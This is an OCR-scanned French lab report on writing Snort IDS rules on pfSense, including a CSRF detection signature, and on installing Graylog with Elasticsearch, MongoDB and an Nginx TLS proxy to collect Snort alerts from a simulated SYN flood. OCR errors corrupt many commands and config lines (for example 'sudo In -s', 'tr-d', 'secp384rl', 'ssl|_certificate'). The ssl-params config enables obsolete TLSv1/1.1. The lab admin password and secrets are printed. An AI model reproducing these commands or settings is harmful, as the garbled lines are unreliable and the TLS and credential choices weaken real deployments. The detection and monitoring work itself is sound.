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alert tcp SEXTERNAL_NET any -> SSMTP_SERVERS 25 (msg:"SERVER-OTHER Piwigo LocalFiles editor cross-site request forgery
attempt"; flow:to_server,established; file_data; content:"/admin.php"; nocase; content:"page="; within:50; nocase;
content:"plugin-LocalFilesEditor"; within:50; nocase; content:"method="; within:50; nocase; content:"post"; within:25; nocase;
metadata:policy max-detect-ips drop, service smtp; reference:cve,2013-1468; classtype:web-application-attack; sid:43611; rev:2;)

Mais aucune de ces regles n’a pas déclenché une alerte pour I'attaque que I'on vient de simuler. Cela peut étre
simplement parce que le modele et le contenu de ces regles ne correspondent pas a I'attaque spécifique que I'on a
simulée. Ou encore les regles dans mon Snort ne sont pas a jour.

Surveiller les tentatives d’acces au Facebook
Pour cela, j’ai créé une alerte personnalisée quianalyse les paquets venant du réseau LAN et allant vers un serveur
DNS pour la résolution DNS du site Facebook.

alert udp SHOME_NET any -> any 53 (msg:"Facebook DNS"; byte_test:1,!&,0xF8,2;
content:"|08|facebook|03|com|00|"; fast_pattern: only;sid:10000002200; rev:22;)

Le byte_test vérifie que le paquet est une requéte DNS valide.

Category  Active Rules

GID:SID 1:10000002200

Rule Text alert udp

$HOME_NET any -» any 53 (ms
content:"|88

facebook |83 |com|@a|";

Aprés avoir ouvrir la page web du Facebook, ces alertes sont déclenchées par Snort :

3 Entries in Active Log

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description
2022-10-01 1] ubpP 172.18.201 52931 172.18.20.254 53 1:1410067608 Facebook DNS
22:45:33 Q Q x

2022-10-01 0 UDP 172.18.201 58841 172.18.20.254 53 1:1410067608 Facebook DNS
22:45:33 Q Q x

2022-10-01 a ubp 172.18.201 53343 172.18.20.254 53 1:1410067608 Facebook DNS
22:45.00 Q Q x

SIEM

Pourquoi Graylog
e |l offre une interface conviviale et peut gérer une variété de formats de données
e Vous offre une grande flexibilité en matiere d'authentification et d'autorisations utilisateur
e Vous pouvez également le configurer pour vous envoyer des alertes par e-mail
e Graylog est un logiciel open-source que vous pouvez utiliser gratuitement.

Un désavantage est qu’au niveau de la gestion, son tableau de bord?® n'est pas assez convivial.

Graylog comprend les éléments suivants :

e Leserveur Graylog : Il s'agit du serveur principal et est utilisé pour le traitement des journaux.

e L'interface Web Graylog : Il s'agit d'une application de navigateur qui donne un apercu des données et des
journaux collectés.

e MongoDB : Un serveur de base de données pour stocker les données de configuration.

e ElasticSearch : Il s'agit d'un moteur de recherche etd'analyse gratuit et opensource qui analyse etindexe les
données brutes provenant de diverses sources.

8 Dashboard
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Configuration minimale
Il s'agit d'une configuration Graylog minimale qui peut étre utilisée pour des configurations plus petites, non critiques
ou de test. Aucun des composants n'est redondant, et ils sont faciles et rapides a installer.

Devices and

Applications /
Log Messages

Server P\
<+—| MongoDB = -
Graylo:
¥ l—=| Elasticsearch kali linux client
172.18.20.210 172.18.20.240
IF_.
Browser Graylog
(Client) 172.18.20.125

Installation de Graylog

On installera Graylog sur une machine Ubuntu Server 22.04 dans le sous-réseau LAN de notre lab. Cette installation
sera réalisée dans plusieurs étapes. Suivez le lien suivant pour les informations en détails sur les prérequis et les
étapes d’installation. Les étapes 1, 2 et 3 sont selon ce procédure mais j’ai adapté les étapes 4 et 5a mon besoin :

https://computingforgeeks.com/install-graylog-on-ubuntu-with-lets-encrypt/

Avant de commencer, vérifiez sur la machine ubuntu :

- Unnom FQND qui convient au serveur : graylog.vironax.local
Ajoutez les lignes suivantes dans /etc/hosts et vérifiez-le avec hostname -f
127.0.0.1 localhost
172.18.20.125 graylog.vironax.local graylog
- Letimezone et ladate /'heure
Vérifiez-le avec date et configurez-le avec sudo timedatectl set-timezone Europe/Paris

Etape 1 :installer Java
Avant l'installation de Java, mettons a jour et mettons a niveau notre systeme :

sudo apt update && sudo apt -y full-upgrade

Nous vous recommandons vivement d'effectuer un redémarrage du systéme aprés la mise a niveau :
[ -f /var/run/reboot-required ] && sudo reboot -f

Java version 8 et supérieure est requis pour l'installation de Graylog :

sudo apt update
sudo apt install vim apt-transport-https openjdk-11-jre-headless uuid-runtime pwgen curl dirmngr
Vous pouvez vérifier la version de Java que vous venez d'installer a l'aide de la commande java -version :

Etape 2 :installer Elasticsearch
Elasticsearch est I'outil utilisé pour stocker et analyser les journaux provenant de sources externes.

Téléchargez et installez la clé de signature Elasticsearch GPG :

curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --dearmor -o
/etc/apt/trusted.gpg.d/elastic.gpg

Ajoutez le référentiel Elasticsearch a votre liste de sources :
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echo "deb https://artifacts.elastic.co/packages/oss-7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-
7.x.list

Installez Elasticsearch :

sudo apt update
sudo apt install elasticsearch-oss -y
Configurez le nom du cluster pour Graylog :

sudo vim /etc/elasticsearch/elasticsearch.yml

Modifiez le nom du cluster en graylog :

cluster.name: graylog

Ajoutez les informations suivantes dans le méme fichier :
action.auto_create_index: false

Rechargezle démonetdémarrezle service Elasticsearch. Avecla commande enable, il démarrera automatiquement
au prochain redémarrage du systéme :

sudo systemctl daemon-reload

sudo systemctl restart elasticsearch

sudo systemctl enable elasticsearch

Vous pouvez vérifier I'état du service avec cette commande :

systemctl status elasticsearch
Elasticsearch s'exécute sur le port 9200 et cela peut étre vérifié par la commande curl :

curl -X GET http://localhost:9200

Vous devriez voir le nom de votre cluster dans la sortie :

Etape 3 : Installez MongoDB
Téléchargez et installez MongoDB a partir du référentiel de base d'Ubuntu :

sudo apt update
sudo apt install mongodb-server -y
Démarrez MongoDB :

sudo systemctl start mongodb
sudo systemctl enable mongodb
Redémarrez le service avec cette commande :

systemctl status mongodb
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Etape 4 : Installer le serveur Graylog
Téléchargez et configurez le référentiel Graylog :

wget https://packages.graylog2.org/repo/packages/graylog-4.3-repository latest.deb
sudo dpkg -i graylog-4.3-repository latest.deb
Installez le serveur Graylog :

sudo apt update
sudo apt install graylog-server
Générer un secret pour sécuriser les mots de passe des utilisateurs a I'aide de la commande pwgen:

pwgen -N 1-s 96
La sortie devrait ressembler a :

0s6DI17dulpgjS9E4ktrnaUC33ApATdMr5EWYITBJUXNDr4C12T2ZbMvu34ruOnmfPBOC78KJyMOO01feqHShicS
fiHrPPAegr

Modifiez le fichier de configuration graylog pour ajouter le secret que nous venons de créer :
sudo vim /etc/graylog/server/server.conf
Localisez la ligne password_secret = et ajoutez le secret créé ci-dessus apres :

password_secret =
0s6DI7dulpgjS9E4ktrnaUC33ApATdMrSEWYITBJUXNDr4C12T2ZbMvu34ruOnmfPBOC78KJyMO01feqHShicSfiHrPPAeg
r

Sivous souhaitez utiliser I'interface Graylogavec I'adresse IP et le port du serveur, définissez http_bind_address sur
I'adresse IP de la machine :

http_bind_address = 172.18.20.125:9000

Changez le timezone pour I'admin du graylog en changant la directive root_timezone =.
root_timezone = Europe/Paris

Sauvegardez les modifications et sortez de vim avec :wq!

L'étape suivante consiste a créer un mot de passe de hachage sha256 pour I'administrateur. Il s'agit du mot de passe
dont vous aurez besoin pour vous connecter a l'interface Web :

echo -n "Enter Password: " && head -1 </dev/stdin | tr-d "\n' | sha256sum | cut -d" " -f1
Vous obtiendrez une sortie de ce type :

Enter Password: Ershad
417bc645033aa98daaa038dbd0acf81e23d14ac5d01aad 764 1a08afc22af0f 72
Modifiez le fichier /etc/graylog/server/server.conf puis placez le mot de passe de hachage a root_password_sha2

sudo vim /etc/graylog/server/server.conf
root_password_sha2 = 417bc64503aaa98daaa038dbd0acf81le23d14ac5d01aad7641a08afc22af0f72
Graylog est maintenant configuré et prét a étre utilisé :

Démarrez le service Graylog :

sudo systemctl daemon-reload
sudo systemctl restart mongodb graylog-server
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sudo systemctl enable mongodb graylog-server
Vous pouvez vérifier sile service a démarré avec succés a partir des journaux :

sudo tail -f /var/log/graylog-server/server.log

Note : Sivous recevez cette erreurdans les logs, par rapportau la taille mémoire max pourle journal, vous pouvez le
modifier dans la configuration de graylog :

2022-10-02T13:18:41.725+02:00 ERROR [PreflightCheckService] Preflight check failed with error: Journal directory
</var/lib/graylog-server/journal> has not enough free space (2449 MB) available. You need to provide additional
2670 MB to contain 'message_journal_max_size = 5120 MB'

Trouvez ce lighe message_journal_max_size = et mettez son valeur (par defaut sur 5Go) au-dessous d’espaces
disponbile (2449Mo)

message_journal_max_size = 2gb
Redémarrer le service et revérifier les logs :

sudo systemctl restart mongodb graylog-server
sudo tail -f /var/log/graylog-server/server.log
La sortie sera:

2022-10-02T13:23:22.464+02:00 INFO [ServerBootstrap] Graylog server up and running.
2022-10-02T13:23:22.468+02:00 INFO [ServiceManagerListener] Services are healthy
Vous pouvez ensuite accéder au tableau de bord Web graylog sur :

http://172.18.20.125:9000

© Graylog - Signiin x  +
. C A Notsecure | 172.18.20.125:900K e % *» 0

‘& Welcome to Graylog

|
|

& S a al am™

Etape 5 : Configurer un Nginx pour I'accés au graylog en https
Créer le Nginx en http
Installez le Nginx :

sudo apt update
sudo apt install nginx
Créez le fichier virtualhost :

sudo vim /etc/nginx/sites-available/graylog.conf
Ajoutez ces lignes dans le nouveau fichier :

server {
listen 80;
server_name graylog.vironax.local;
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access_log /var/log/nginx/graylog.vironax.local.access.log combined;
error_log /var/log/nginx/graylog.vironax.local.error.log;

}

Créez le symlink pour ce fichier :
sudo In -s /etc/nginx/sites-available/graylog.conf /etc/nginx/sites-enabled/
Vérifiez le bon fonctionnement de Nginx avec sudo nginx -t. la sortie :

nginx: the configuration file /etc/nginx/nginx.conf syntax is ok

nginx: configuration file /etc/nginx/nginx.conf test is successful

Créezunenregistrement Asurle DNS du routeur pfsense de notre lab. Cela permettra que le site soit accessible avec
le nom du domaine. Dans services/dns resolver/general settings :

Host Parent domain of host IP to return for host Description Actions

graylog vironax.local 172.18.20.125 graylog web site S

Créez un certificat self-signé. Vous pouvez suivre le lien suivant pour avoir ces étapes en détails :

https://www.digitalocean.com/community/tutorials/how-to-create-a-self-sighed-ssl-certificate-for-nginx-in-ubuntu-
16-04

Configuration https
Créez le certificat SSL :

sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/nginx-selfsigned.key -out
/etc/ssl/certs/nginx-selfsigned.crt

Donnez le FQND du serveur pour le Common Name :

Common Name (e.g. server FQDN or YOUR name) []:graylog.vironax.local

Créez le dhparam.pem:

sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048

Créez un extrait de configuration pointant vers la clé et le certificat SSL. Créez le nouveau fichier :
sudo vim /etc/nginx/snippets/self-signed.conf

Ajoutez les lignes suivantes :

ssl|_certificate /etc/ssl/certs/nginx-selfsigned.crt;
ssl|_certificate_key /etc/ssl/private/nginx-selfsigned.key;
Créer un extrait de configuration avec des paramétres de chiffrement fort. Créez le nouveau fichier :

sudo vim /etc/nginx/snippets/ssl-params.conf
Ajoutez les lignes suivantes dans ce fichier :

# from https://cipherli.st/
# and https://raymii.org/s/tutorials/Strong_SSL_Security_On_nginx.html
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_ciphers "EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH";
ssl_ecdh_curve secp384rl;
ssl_session_cache shared:SSL:10m;
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ssl_session_tickets off;

ssl_stapling on;

ssl_stapling_verify on;

resolver _valid:300$;

resolver_timeout 5s;

# Disable preloading HSTS for now. You can use the commented out header line that includes
# the "preload" directive if you understand the implications.

#add_header Strict-Transport-Security "max-age=63072000; includeSubdomains; preload";
add_header Strict-Transport-Security "max-age=63072000; includeSubdomains";
add_header X-Frame-Options DENY;

add_header X-Content-Type-Options nosniff;

ssl_dhparam /etc/ssl/certs/dhparam.pem;

Changez la configuration Nginx pour qu’il utilise SSL :

sudo vim /etc/nginx/sites-available/graylog.conf

Aprés la premiere directive listen, on ajoute une directive de la redirection return vers le deuxiéme bloc qu’on va
créer dans la suite :

return 302 https://Sserver nameSrequest uri;

Ensuite, on ajoute le deuxiéme bloc:

server {
# SSL configuration

listen 443 ssl http2 default_server;
include snippets/self-signed.conf;
include snippets/ssl-params.conf;

}

Les deux lignes include pointent vers les deux fichiers quand a créé pour I'activation de SSL.

Maintenant, le serveur web Nginx est configuré en https et accessible depuis le lien https://172.18.20.125 (ou
https://graylog.vironax.local si on a configuré le DNS). Mais la page disponible sur le port 443 n’est pas le serveur
graylog. Car le serveur graylog est sur le port 9000 :

& [&] A Notsecure | hitps:/graylog.vironax.local

Welcome to nginx!

If you see this page, the nginx web server is successfully installed and
working. Further configuration is required

For online documentation and support please refer to nginx.org.
Commercial support is available at nginx.com.

Thank you for using nginx.

Pour résoudre ce probléme on doit configurer un proxy inverse sur Nginx qui sera utilisé pour servir Graylog qui
s’exécute surle port 9000. Pour cela ajouté les lignes suivantes dans le deuxiéme bloc du fichier virtualhost
graylog.conf :

location /

{
proxy_set_header Host Shttp_host;

proxy_set_header X-Forwarded-Host Sserver_name;
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proxy_set_header X-Forwarded-Server Sserver_name;
proxy_set_header X-Forwarded-For Sproxy_add_x_forwarded_for;
proxy_set_header X-Graylog-Server-URL https://Sserver_name/;
proxy_pass  http://172.18.20.125:9000;

}

A la fin, le fichier graylog.conf ressemble a celui-la :

Jetc/nginx/sites-available/graylog.conf

GNU nano 4.8
erver {

name ;
er_name

Vérifiez la configuration de Nginx avec nginx -t pour vous assurer que la configuration est correcte.

Redémarrer Nginx et accéder a l'interface graylog par https://graylog.vironax.local/

& C A Notsecure | hitps://graylog.vironax.local

% ‘& Welcome to Graylog

PN Lo . o

Se connecter au graylog
Connectez-vous a l'interface graylog. Le nom d’utilisateur est admin et le mot de passe est ce qu’on a défini dans le
fichier de la configuration (Ershad). Voici a quoi ressemble la page d'accueil :

<« C A Notsecure | hips//graylogvironaxlocal/gettingstarted

graylog Search  Streams  Alerts  Dashboards  Enterprise  Security  System~ @)

Getting Started - Graylog v4.3.7+05bccc7

1 Send in first log messages

Graylog s prewy u thout some log data in it Let's st

nding in some messages.

Préparer Snort sur pfsense pour envoyer les logs
Allez dans LAN Settings du Snort et activez Alert Settings pour que les logs de Snort soient enregistrés dans le Syslog
de pfsense. Mettez System log Facility sur LOG_LOCALS et Log Priority sur LOG_ALERT :
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Alert Settings

Send Alerts to System Snort will send Alerts to the firewall's system log. Default is Not Checked

Log
System Log Facility LOG_LOCALS ~
Select system log Facility to use for reporting. Default is LOG_AUTH.
System Log Priority LOG_ALERT v

Select system log Priority (Level) to use for reporting. Default is LOG_ALERT.

Ensuite, dans le Syslog de pfsense (status/system logs/settings) définissez le format pourles logs. Il y a deux types de
format. On choisit le format RFC 5424.

General Logging Options

Log Message Format syslog (RFC 5424, with RFC 3339 microsecond-precision timestam;

The format of syslog messages written to disk locally and sent to remote syslog servers (if enabled)
Changing this value will only affect new log messages

Activez 'envoie des logs vers un serveur a distance. (Remote logging options). On définit 'adresse IP de serveur a
distant et un numéro de port I'inferieur de 1024. Je vais choisir seulement le system events pour envoyer au graylog
car les logs de Snort sont enregistrés dans ce fichier.

Remote log servers 172.18.20.125:5040 P[:port] Pl:port]

Remote Syslog Contents [ Everything
System Events
[ Firewall Events

C’est tout pour le coté pfsense, on continue la configuration sur graylog.

Importer des journaux dans graylog

Tout d'abord, nous devons recevoir nos journaux dans le nceud graylog. Cela peut étre fait avec Inputs. Allez a
system/inputs et choisissez un type d’entrée.

Pour recevoir les logs de notre pfsense on choisit le Raw/Plaintext UDP et on lance le nouvel Input :

Launch new Raw/Plaintext UDP input

Inputs

Graylog nodes accept daka via inputs. Launch or terminate as many inputs as you want here. O Glabal

Should this input start on all nodes
( Node
Raw/Plaintext UDP Launch new input Find more inpursl'_./' 6b738140 / graylog.vironax.local ~

On which node should this input start
Title

Dans la nouvelle fenétre, ce nceud est sélectionné comme

noeud pardéfaut. Choisissez untitre et un numéro de port B‘dtdd of your new input that describes it

(5040 pour moi). Le numéro de port doit étre supérieura 0000

1024. Laissez Blind Address par défaut. Address olisten on. For example 0.0.0.00r 127.0.0.1
Port to listen on.

Cet Input va automatiguement commencer a écouter sur le port 5040 :

Local inputs
snort input [ runninG | Show received messages

On node ¥ 6b738140 / graylog.vironax.local

bind_address: 6.0.8.8 Throughput / Metrics

. 1 minute average rates
number_worker_threads: 1 Network I0: =85 <8

override_source: <empty> Empty messages dis¢

port: 5648
recv_buffer_size: 262144

Expliquer un événement
Cliquez sur Show received messages pour voir tous les logs recus par cet Input :
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timestamp 15
2022-10-02 15:44:59.122
<6>1 2822-10-82T715:44:59.120988+82:88 pfSense.home.arpa syslogd - - - kernel boot file is /boot/kernel/kernel

2022-10-02 15:44:59.089

<43>1 20822-10-82T15:44:59.910040+062:88 pfSense.home.arpa syslogd - - - exiting on signal 15

2022-10-02 15:44:59.088

<13=1 2022-18-82T15:44:50.004641+82:88 pfSense.home.arpa check_reload_status 395 - - Syncing firewall

2022-10-02 15:44:59.039

<27>1 2022-16-82T15:44:58.997565+02:@8 pfSense.home.arpa php-fpm 367 - - /status_logs_settings.php: Configuration Change: admin@172.18.26.1 (Local Database): Changed sys

Déja quelques logs sont recus depuis le fichier system events du pfsense.

Cliquez sur un de ces logs pour voir plus des détails :

6832fa40-4258-11ed-9728-0800271ea882 H
Timestamp message
2022-10-02 15:44:59.088 <13>1 2822-18-B2T15:44:59.8P4641+82:88 pfSense.home.arpa check_reload_status 395 - - Syncing firewall

Received by source

snert input on I 6b738140 / graylog.vironax.local w 172.18.28.254 w
Stored in index timestamp

graylog_0 2@822-18-82 15:44:59.088

S D)
Chaque log sur graylog a un ID unique qui nous permet de le trouver facilement dans graylog.
Horodatage, qui est I'heure d’occurrence de cet événement particulier.
Le nceud par lequel le log est recu. On a seulement un nceud dans notre lab.
Graylog_Oestle nom du fichier Index dans lequel le log est enregistré. Ce fichier appartienta I'Index Set par
défaut du graylog (Default Index Set). Cet IndexSet est composé de maximum20index et graylog ' utilise pour
enregistrer les logs. Prochainement on va créer une Index spécifique pour les logs de Snort.

5. Stream, cela est le flux dans lequel ce log est présenté. Par défaut tous les logs sont présentés dans le flux
all_messages, sauf sion change le flux, ce que I'on va faire pourleslogs du Snort. Cette fonctionnalité est tres
utile pour gérer les logs des systémes différents. (Un log pour Snort, I'autre pour le switch, etc.)

6. Le moteur de recherche Elasticsearch du graylog permet d’analyser ce log. Cela est I'analyse par défaut.
Chaque élément s’appelle un champ. Les champs message, source et timestamp. Prochainement on verra
comment analyser le champ message et le couper en petits morceaux.

HwnN e

Créer un nouvel Index pour log du Snort
Dans le system/indices, cliquer sur Create index set.

Choisissez un titre, une description et un préfixe.

Shards et Réplicas
Laissez Shards et Replicas de l'index par défaut. (4 Shards, zéro réplica)

Un index n'est en réalité qu'un regroupement logique d'un ou plusieurs Shards (fragments) physiques, ou chaque
Shard esten fait un index autonome. En distribuant les documents d'unindex sur plusieurs Shards et en répartissant
ces Shards sur plusieurs nceuds, graylog peut assurer laredondance, quialafois protége contre les pannes matérielles
et augmente la capacité de requéte lorsque des nceuds sont ajoutés a un cluster.

Il existe deux types de Shards : les primaires et les Réplicas. Chaque document d'un index appartient a un Shard
primaire. Un Shard réplica est une copie d'un Shard primaire. Les réplicas fournissent des copies redondantes des
données pour nous protéger contre les pannes matérielles et augmenter la capacité de répondre aux demandes de
lecture telles que la recherche ou la récupération d'un document.

Rotation et rétention d'index
La rotation des journaux peut étre effectuée pourdiversesraisons, allant de I'atteinte d'un objectif de conformité, a
la réduction de la taille de lI'index pour des recherches plus rapides ou a la suppression des données aprés unlaps de
temps défini. Graylog nous permet de faire pivoter les index en fonction de quelques méthodes :
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e Le nombre de messages fait pivoter l'index aprés
qu'un certain nombre de messages aient été écrits
dans l'index.

e Lataille del'index fait pivoter l'index une fois la taille

Index Rotation Configuration

© Graylog uses multiple indices to store documents in. You can configure the strategy it uses to determine whe

Select rotation strategy Index Time

Rotation period (1ISO8601 Duration) P1D

déf|n|e atte|nte How long an index gets written to before it is rotated. (i.e. "P1D" fol
1. . . 1. \ Empty index set [J Rotate empty index set
e Le temps d'index fait pivoter l'index apres le temps . e R
SpéCIflé Index Retention Configuration
. . . . © Graylog uses a retention strategy to clean up old indices
Dans notre exemple, je configure une rotation sur 1 jour et
conserve 14 indexes pendant deux semaines de données. Select retention strategy Delete Index
Max number of indices 14
Aprés avoir défini votre stratégie de rotation, vous devrez nn mumber of Idices to keep befors deleting the oldest or

également sélectionner votre configuration de rétention :

Supprimer : lorsque vous supprimez les index, vous consommez peu de ressources par Elasticsearch et supprimez
l'index du disque, économisant ainsi de I'espace disque.

Fermer : La fermeture d'un index empéche Elasticsearch d'y écrire plus de données, mais le maintien en ligne et
conserve les métadonnées de l'index afin que vous puissiez toujours y effectuer des recherches.

Ne rien faire : Aucune économie de ressources sur Elasticsearch et gardera l'index ouvert et sur le disque jusqu'a sa
suppression manuelle.

Dans notre exemple, je supprime les anciens index lorsque la période de rétention est atteinte.
Le nouveau Snort Index Set est créé :

snort index set

snort index set

Index prefix: snort_index Index rotation strategy:  Index Time Index retention strategy: Delete
Shards: 4 Rotation period: P1D (1 day, a day) Max number of indices: 14
Replicas: 0

Field type refresh interval: 5 seconds

Déclencher une alerte Snort

Pour avoir des exemples pour des logs Snort afin de les analyser dans graylog, je vais simuler une attaque SYN flood
sur une machine cliente et vérifiersi je recois les logs surgraylog. Pour cela voir la section DDoS SYN flood. J'ai simulé
I'attaque et j'ai recu ces deux logs :

timestamp 1%

2022-10-02 18:31:59.455
<169>1 2822-18-82T18:31:59.450584482:88 pfSense.home.arpa snort 58288 - - [1:180660681:1] Possible TCP DoS {TCP} 1.38.64.188:51369 -> 172.18.20.248:80
2022-10-02 18:31:49.555

<1691 20822-18-92T18:31:49.484162+02:60 pfSense.home.arpa snort 58288 - - [

:198800081:1] Possible TCP DoS {TCP} 218.120.6.241 = 172.18.20.240:80

Créer un flux pour les logs du Snort

Pour mieux organier les logs onva créer un nouveau flux (Stream). Les flux
sont un mécanisme qui achemine les messages dans des catégories en .
temps réel pendant leur traitement. Vous pouvez définir des regles dans snart stream
Graylog pour acheminer les messages vers certains flux.

Creating Stream

Description
snort stream

Index Set

Dansl'onglet Streams, cliquez sur Create Stream. Donnez-luiun titre et une
description. Choisissez I'Index Set quand vient de créer. Cochez remove
matches from « All messages » stream. Cela supprimera les messages
correspondanta ce flux, du flux all messages qui est attribué a chaque log
par défaut.

knort index set X w

Remove matches from ‘All mes:
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Le flux est créé mais n’est pas encore démarré :

Snort Stream Stopped = ManageRules | M Manage Alerts P> Start Stream More Actions

snort stream
No configured rules.

Avant de le démarrer, on doit définir une ou plusieurs régles qui achemineront les logs Snort vers ce flux. Pour cela

cliquez sur Manage Rules. |l est composé de deux partie :

e Dans la premiére partie nous pouvons choisir un message 1| Load amessage totestrules |

(unlog) pour lequel nous voulons créer une regle. Nous
avons deux options pour choisir un message :

| Recent Message Message ID

Select an Input ~

o Le dernier message arrivé dans I'Input

select an Input from the list below and click "Load Message" to load the most recent message receive

o Ou choisir un message spécifique a I'aide de son

2/Manage stream rules |

IDun ique. @ Amessage must match all of the follawing rules

(O Amessage must match atleast one of the following rules

e Dans la deuxieme partie, nous ajoutons une regle. Deux

O Please load a message in Step 1 above to check if it would match against these rules.

options : |

No rules defined.

o Lelogdoit corresponde a tous les regles quand a

défini dans la liste ci-dessous [ rmdonc
o Le log doit corresponde au moins a une regle dans la liste ci-dessous

Sélectionnezun Inputet cliquez sur Load Message. Le dernier message est le log par rapport a I'attaque SYN Flood :

Select an Input from the list below and click "Load Message" to load the most recent message received by this input within the last hour.

snortinput (org.graylog2.inputs.raw.udp.RawUDPInput) v

& bccabe00-426f-11ed-9e9e-0800271ea882

Timestamp message

2022-10-02 18:31:59 <169=1 2022-18-8B2T18:31:59.450584+82:08 pfSense.home.arpa snort 56288 - - [1:1860080801:1]
Possible TCP DoS {TCP} 1.36.64.188:51369 -> 172.18.20.240:808

Stored in index

graylog 0 source

Routed into strlams 172.18.20.254

* All messages timestamp
20822-18-82T16:31:59.4552

Ce message a trois champs. Nous voulons créer nos regles de filtrage
selon champ message.

Cliguez sur Add stream rule. Tapez le champ message dans le Field.
Pourle type de larégle choisissez contain. Et pour le value mettez snort.

Cela veut dire, tousles logs qui contientle mot Snort serontacheminé
vers ce flux. Cliquez sur Save.

Immédiatement vous verrez que cette regle s’accorde avec le log au-
dessus :

Je vais ajouter une autre regle pour que le filtre soit plus précis. Je

choisis le champ message etle type match regular expression etle
value \[d+:\d+:\d+\]. Cela veut dire que le champ message doit

. . X . ®
contenirune phrase quicommence par « [ » apres « unou plusieurs

2.

New Stream Rule

Field
message
Type
contain ~
Value
snort
[ Inverted

Description (optional)

contain snort|

Result: message must contain snort

Manage stream rules

A message must match all of the following rules

() A message must match at least one of the following rules

The server will try
to convert to
strings or numbers
based on the
matcher type as
well as it can.

€) Take alook at
the matcher code
on GitHub

Regular
expressions use
Java syntax. @

chiffres », ensuite un « : » et encore « un ou plusieurs chiffre »,

‘ + This message would be routed to this stream!

encore un « : » et« un ou plusieurs chiffre » et fini par« | ». Et donc

pour le champ message ca sera équivalant de [1:100000001:1] ‘ 0 [ e S i 1 S G v

Ce type de codage des textes s’appelle Regular Expression ou REGEX. Voici quelques exemples des codes REGEX :
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Pour plus d’informations sur regex visitez le lien suivant :

+ This message would be routed to this stream!

https://www.youtube.com/watch?v=sa-TUpSx1JA

mw @ message must contain snort (contain snort)

La de UXié me rég|e s'accorde avec |e message : @ [ message must match regular expression \[\d+:\d+\d+\]

Cliquez sur I’'m done. Démarrez le flux. Refaites la simulation d’attaque SYN flood. Et vous devriez recevoir des logs
dans ce flux.

n @ Yrsave ([Oload &+Share @ ==

Message Count

191630 19:17:00 1730 19:18:00 191830 19:19:00 13:19:30 1:20:00 79:2030 19:21:00
0Oet2,2022
All Messages
timestamp 15 source

2022-10-02 19;

<169>1 2822~

20.240:88

2:08 pfSense.home.arpa snort 59280 - - [1:108088881:1] Possible TCP DoS {TCP,

2022-10-02 19;

<169>1 2822

0.240:8

2719:21:90.528724+02:08 pfSense.home.arpa snort 56288 - - [1:100000001:1] Possible

20221002 19:20:50.445

<1697 2822-18-82719:20:50.434842+82:00 pfSense.home.arpa snort 58280 - - [1:108080001:1] Possible TCP DoS {TCP} 82.172.169.40:
249:30

Dans la barre en hautde I'écran, nous indiquons que le flux se meta jourau bout d’une période précise (dans le vidéo
toutes les 1 seconde) et qu’il visualise des logs depuis 5 minutes jusqu’a maintenant.

Analyser les logs

Il existe plusieurs facons d'effectuer I'analyse des fichiers journaux. Les analyseurs peuvent étre écrits dans de
nombreux langages de programmation ; certains sont meilleurs pour cette tache que d'autres, mais le choix dépend
souvent de la langue avec laquelle vous étes le plus a l'aise.

Extracteurs

Syslog (RFC3164, RFC5424) estun protocole de journalisation standard depuis les années 1980. Syslog a un ensemble
de regles qui définissent a quoiun journaldoit ressembler. Graylog utilise des extracteurs pouranalyser ces journaux.
Les extracteurs permettent aux utilisateurs d'indiquer au Graylog comment extraire des données de n'importe quel
message recu (quel que soit le format ou s'il s'agit d'un champ déja extrait).

Processeurs de Pipeline
Les processeurs de pipeline sontla méthode préférée d'analyse des journauxcirculant dans Graylog avant d'écrire sur
le disque.

Analyser les logs par Pipeline
Pour notre exemple, nous allons analyser le champ message en plusieurs sous-champs a l'aide des processeurs
pipeline. Nous allons utiliser le langage de la programmation Grok Patterns.

Créer un pipeline

Pour créer le nouveau pipeline accéder au menu system/pipelines. Puis cliquez sur Add new pipeline. Donnez-lui un
titre et une description. Le menu dechaque pipeline atrois parties différentes : Details, Pipeline connections et Pipeline
Stages.

1. Details: pour avoir lesinformations surla situation actuelle du pipeline. Parexemple, on a une erreur comme
quoi le pipeline n’est pas connecté a aucun flux.
2. Pipeline connections : pourconnecterun pipeline a un flux et doncles logs de ce flux serontanalysés grace a

ce pipeline.
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3. Pipeline Stages: Les Stages sontdes groupes de conditions et d'actions qui doivent s'exécuterdansl'ordre et
fournissentle flux de controle nécessaire pourdécider d'exécuterounonle reste d'un pipeline. Par défautil
y a un Stage avec la priorité d’exécution 0 (Plus le nombre est bas, plus tot il s'exécutera). Maisil y a aucune
regle connectée a ce Stage.

|Tms pipeline is currently not connected to any streams. lnu have to connect a pipeline to at least one stream to make it process incoming messages. Note that this is not required if you intend to use this
prpelineonly for search result transformation using’ ecorators.
Details Edit pipeline details

Title: snort pipeline syn-flood
Description: snort pipeline syn-flood
Created: a few seconds ago
Last modified: a few seconds ago

ICurrent throughput: 0 msg/s I

Pipeline connections .

Select streams that will be processed by this pipeline.

Pipeline Stages

Stages are groups of conditions and actions which need to run in order, and provide the necessary control flow to decide whether or not to run the rest of a pipeline.

Foze 0
There are no further stages in this pipeline. Once rules in this stage are applied, the pipeline will have finished processing.

Throughput: 0 msg/s /
his stage has no rules yet]Click on edit to add some,

Créer une régle pipeline
Pourajouterune régle dans ce stage, il faut d’abord créerune régle. Pourcela, en haut de la page, cliquez sur manage
rules. Ensuite, cliquez sur Create Rule. Dans cette page, ajoutez une description et écrivez votre regle.

Comment écrire la regle pipeline
Voici un exemple comment créer la regle pipeline pour les logs. L’explication est ajoutée dans la régle :

1 //le nom de la régle

2 rule "snort rule”

3

4 //la condition : quand

5 when

6

7 /f/quand le log (1'éventement) a un champ qui s'appelle message
8 has_field(“"message")

£

18 //puis exécuter les fonctions suivantes
11 then

12

13  //mettez le champ message du log dans le variable $message

14 //donner le param&tre message & la fonction to_string

15 //donner la fonction to_string et le grok pattern qui s'appelle syn-flood & la fonction grok
16 //laisser le résultat de la fonction grok dans le wvariable analyseur

17 let analyseur = grok("¥{syn_flood}", to_string(fmessage.message), true);
18 —

19 //créer les sous-champ & partir du variable analyseur.

28 set_fields(analyseur);

21

22 //fin de la regle

23 end

